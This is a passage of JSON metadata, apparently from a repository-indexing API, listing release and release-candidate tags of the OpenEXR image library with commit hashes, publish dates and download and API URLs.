es_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.1-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.1-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.1-rc/manifests","release_url":null},{"name":"v3.2.0","sha":"456bf42dc2fddb647c0e9ab911656e5cf757fc36","kind":"commit","published_at":"2023-08-28T17:56:26.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0/manifests","release_url":null},{"name":"v3.2.0-rc4","sha":"456bf42dc2fddb647c0e9ab911656e5cf757fc36","kind":"commit","published_at":"2023-08-28T17:56:26.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.0-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc4/manifests","release_url":null},{"name":"v3.2.0-rc3","sha":"fdaee4bd275dbb8025ce14e88d7ae4bd541310df","kind":"commit","published_at":"2023-08-28T17:50:44.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.0-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc3/manifests","release_url":null},{"name":"v3.2.0-rc2","sha":"4713cf0da615d907245d29a3f9fcc827b815cdc9","kind":"commit","published_at":"2023-08-28T17:45:58.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.0-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc2/manifests","release_url":null},{"name":"v3.2.0-rc","sha":"22b99053b94608e332f2b80ed4d3a52214081f50","kind":"commit","published_at":"2023-08-17T21:14:08.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.2.0-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.2.0-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.2.0-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.2.0-rc/manifests","release_url":null},{"name":"v3.1.11","sha":"6f5fc9013d14c04960c13b8d3724e18642c02eba","kind":"commit","published_at":"2023-08-13T17:31:21.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.11","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.11/manifests","release_url":null},{"name":"v3.1.11-rc","sha":"6f5fc9013d14c04960c13b8d3724e18642c02eba","kind":"commit","published_at":"2023-08-13T17:31:21.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.11-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.11-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.11-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.11-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.11-rc/manifests","release_url":null},{"name":"v2.5.9","sha":"975f6f3b04104f9a37ec214bd807916cb373e523","kind":"commit","published_at":"2023-07-31T18:33:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.9","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.9/manifests","release_url":null},{"name":"v3.1.10","sha":"913f07d1734677e51c9d2201ce349a30c929d624","kind":"commit","published_at":"2023-07-31T18:17:50.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.10","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.10/manifests","release_url":null},{"name":"v3.1.10-rc","sha":"913f07d1734677e51c9d2201ce349a30c929d624","kind":"commit","published_at":"2023-07-31T18:17:50.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.10-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.10-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.10-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.10-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.10-rc/manifests","release_url":null},{"name":"v3.1.9","sha":"45da397ca89527a5aa65d8d3aaf163aad58dfec9","kind":"commit","published_at":"2023-06-23T16:40:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.9","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9/manifests","release_url":null},{"name":"v3.1.9-rc3","sha":"45da397ca89527a5aa65d8d3aaf163aad58dfec9","kind":"commit","published_at":"2023-06-23T16:40:36.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.9-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.9-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.9-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc3/manifests","release_url":null},{"name":"v3.1.9-rc2","sha":"a09f8d5f9f5b10953ab7532a3129901fecf0aeae","kind":"commit","published_at":"2023-06-23T01:00:23.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.9-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.9-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.9-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc2/manifests","release_url":null},{"name":"v3.1.9-rc","sha":"51bae53a188fb479ffc8d857dea553785ba271ff","kind":"commit","published_at":"2023-06-23T00:23:38.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.9-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.9-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.9-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.9-rc/manifests","release_url":null},{"name":"v3.1.8","sha":"68d9e1e17620cef00e59b43fa42c97fbcf90e72b","kind":"commit","published_at":"2023-06-01T04:56:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8/manifests","release_url":null},{"name":"v3.1.8-rc5","sha":"68d9e1e17620cef00e59b43fa42c97fbcf90e72b","kind":"commit","published_at":"2023-06-01T04:56:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8-rc5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc5/manifests","release_url":null},{"name":"v3.1.8-rc4","sha":"e084509142e43372ae08fb8942b61a82734bde8d","kind":"commit","published_at":"2023-05-27T01:53:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8-rc4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc4/manifests","release_url":null},{"name":"v3.1.8-rc3","sha":"90e7d8382443d7680622742b881957d300c4f0b3","kind":"commit","published_at":"2023-05-26T18:30:10.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8-rc3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc3/manifests","release_url":null},{"name":"v3.1.8-rc2","sha":"16a0ba611effefb73e66c8bc5f0284d7dceec84b","kind":"commit","published_at":"2023-05-26T14:33:46.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc2/manifests","release_url":null},{"name":"v3.1.8-rc","sha":"011a2e25290fcacd92432c7118698a9f3b711a26","kind":"commit","published_at":"2023-05-23T04:12:51.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.8-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.8-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.8-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.8-rc/manifests","release_url":null},{"name":"v3.1.7","sha":"e40fb05b903c4c246587664043dfb5af4b391cef","kind":"commit","published_at":"2023-03-28T15:25:15.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.7","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.7/manifests","release_url":null},{"name":"v3.1.7-rc","sha":"e40fb05b903c4c246587664043dfb5af4b391cef","kind":"commit","published_at":"2023-03-28T15:25:15.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.7-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.7-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.7-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.7-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.7-rc/manifests","release_url":null},{"name":"v3.1.6","sha":"fd9d1ff55f340152ff3764617a2caef796142fc2","kind":"commit","published_at":"2023-03-05T20:23:47.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.6","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.6/manifests","release_url":null},{"name":"v3.1.6-rc","sha":"fd9d1ff55f340152ff3764617a2caef796142fc2","kind":"commit","published_at":"2023-03-05T20:23:47.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.6-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.6-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.6-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.6-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.6-rc/manifests","release_url":null},{"name":"v3.1.5","sha":"420da6a57a3ecaeab481b993dd590eeec8fe0c52","kind":"commit","published_at":"2022-04-07T00:52:25.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.5","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.5/manifests","release_url":null},{"name":"v3.1.5-rc","sha":"420da6a57a3ecaeab481b993dd590eeec8fe0c52","kind":"commit","published_at":"2022-04-07T00:52:25.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.5-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.5-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.5-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.5-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.5-rc/manifests","release_url":null},{"name":"v2.5.8","sha":"918b8f543e81b5a1e1aca494ab7352ca280afc9e","kind":"commit","published_at":"2022-03-17T18:22:45.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.8","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.8/manifests","release_url":null},{"name":"v2.5.8-rc","sha":"1c0cd2c783376c95fc17a8ec81883f1877cd0935","kind":"commit","published_at":"2022-03-17T18:03:11.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v2.5.8-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v2.5.8-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v2.5.8-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.8-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v2.5.8-rc/manifests","release_url":null},{"name":"v3.1.4","sha":"e94d82b2165da4e2af167aa74630906202e3d43b","kind":"commit","published_at":"2022-01-23T22:46:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.4","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.4/manifests","release_url":null},{"name":"v3.1.4-rc","sha":"e94d82b2165da4e2af167aa74630906202e3d43b","kind":"commit","published_at":"2022-01-23T22:46:19.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.4-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.4-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.4-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.4-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.4-rc/manifests","release_url":null},{"name":"v3.1.3","sha":"697cc449cc589ed780acda88e79e6145ddcd121f","kind":"commit","published_at":"2021-10-24T21:50:29.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.3","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.3/manifests","release_url":null},{"name":"v3.1.3-rc","sha":"697cc449cc589ed780acda88e79e6145ddcd121f","kind":"commit","published_at":"2021-10-24T21:50:29.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.3-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.3-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.3-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.3-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.3-rc/manifests","release_url":null},{"name":"v3.1.2","sha":"2eec453b01b1187873474f31eb5b127b0a52e4ff","kind":"commit","published_at":"2021-09-29T23:12:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2/manifests","release_url":null},{"name":"v3.1.2-rc2","sha":"2eec453b01b1187873474f31eb5b127b0a52e4ff","kind":"commit","published_at":"2021-09-29T23:12:14.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.2-rc2","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.2-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.2-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2-rc2/manifests","release_url":null},{"name":"v3.1.2-rc","sha":"ef2b32b6e51a1886aa3f06ffa45a5de04aa3739e","kind":"commit","published_at":"2021-09-29T18:09:49.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.2-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.2-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.2-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.2-rc/manifests","release_url":null},{"name":"v3.1.1","sha":"81e3d1beffb27448f6d610ed1b1cc1c962d51011","kind":"commit","published_at":"2021-07-31T19:57:32.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.1/manifests","release_url":null},{"name":"v3.1.1-rc","sha":"81e3d1beffb27448f6d610ed1b1cc1c962d51011","kind":"commit","published_at":"2021-07-31T19:57:32.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.1-rc","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.1-rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.1-rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.1-rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.1-rc/manifests","release_url":null},{"name":"v3.1.0","sha":"e9ae5e7c5fb9bdc295c7f47747521cfa59147da0","kind":"commit","published_at":"2021-07-21T19:25:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.0","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.0/manifests","release_url":null},{"name":"v3.1.0-rc1","sha":"e9ae5e7c5fb9bdc295c7f47747521cfa59147da0","kind":"commit","published_at":"2021-07-21T19:25:24.000Z","download_url":"https://codeload.github.com/AcademySoftwareFoundation/openexr/tar.gz/v3.1.0-rc1","html_url":"https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/AcademySoftwareFoundation/openexr@v3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AcademySoftwareFoundation%2Fopenexr/tags/v3.1.0-rc1/manifests","release_url":null},{"name":"v3.0.5","sha":"44d2